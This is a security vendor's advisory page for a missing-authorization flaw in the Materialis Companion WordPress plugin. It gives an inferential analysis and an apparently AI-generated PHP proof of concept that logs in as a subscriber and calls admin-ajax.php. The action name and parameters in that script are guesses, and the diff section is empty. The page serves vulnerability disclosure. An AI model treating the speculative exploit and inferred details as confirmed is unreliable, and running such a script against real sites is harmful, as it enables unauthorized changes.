Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24543: Materialis Companion <= 1.3.52 – Missing Authorization (materialis-companion)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.3.52
Patched Version
Disclosed January 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24543 (metadata-based):
The Materialis Companion plugin for WordPress, versions up to and including 1.3.52, contains a missing authorization vulnerability. This flaw allows any authenticated user, including those with the low-privilege subscriber role, to perform an unauthorized action due to a missing capability check on a specific function.

Atomic Edge research indicates the root cause is a missing authorization check (CWE-862). The vulnerability description confirms a missing capability check on a function. Without access to the source code diff, the exact function name is inferred. The vulnerability likely exists in an AJAX handler or admin POST handler registered by the plugin. The handler lacks a proper capability check, such as `current_user_can()`, before executing its core logic. This inference is based on the WordPress plugin pattern where administrative or sensitive functions are exposed via hooks.

Exploitation requires an authenticated attacker with a subscriber account. The attacker would send a crafted HTTP request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`) or the admin-post endpoint (`/wp-admin/admin-post.php`). The request must contain the correct `action` parameter that triggers the vulnerable function. Based on the plugin slug, a plausible action name is `materialis_companion_{action}` or a similar derivative. The payload would contain parameters required by the vulnerable function to perform the unauthorized action.

The patched version, 1.3.53, remediates this by adding a proper capability check. The fix likely involves inserting a conditional statement at the beginning of the vulnerable function. This statement would verify the current user has a required capability, such as `manage_options` or a custom capability, using `current_user_can()`. If the check fails, the function should terminate, possibly with `wp_die()` or by returning an error.

Successful exploitation leads to an unauthorized action. The CVSS vector indicates a low impact on integrity (I:L) with no effect on confidentiality or availability. The exact nature of the action is unspecified, but based on the plugin’s purpose as a companion for a theme, it could involve modifying site appearance settings, importing demo content, or altering theme-related options. This could allow a low-privilege user to deface a site or disrupt its configuration.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24543 - Materialis Companion <= 1.3.52 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2026-24543.
 * This script demonstrates exploitation of a missing authorization vulnerability.
 * The exact AJAX action name is inferred from the plugin slug and common patterns.
 * Assumptions: Target runs a vulnerable plugin version, and the attacker has subscriber credentials.
 */

$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS
$password = 'subscriber_pass'; // CHANGE THIS

// Step 1: Authenticate to WordPress to obtain cookies.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Step 2: Craft exploit request to the vulnerable AJAX endpoint.
// The exact action is unknown but inferred. Common patterns include 'materialis_companion_*'.
// This PoC tests a plausible action name. Adjust based on further reconnaissance.
$exploit_action = 'materialis_companion_unauthorized_action';

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
$exploit_fields = http_build_query([
    'action' => $exploit_action,
    // Include any parameters the vulnerable function might expect.
    'param1' => 'value1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_fields);
$ajax_response = curl_exec($ch);

echo "Response from target:n";
echo $ajax_response;

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School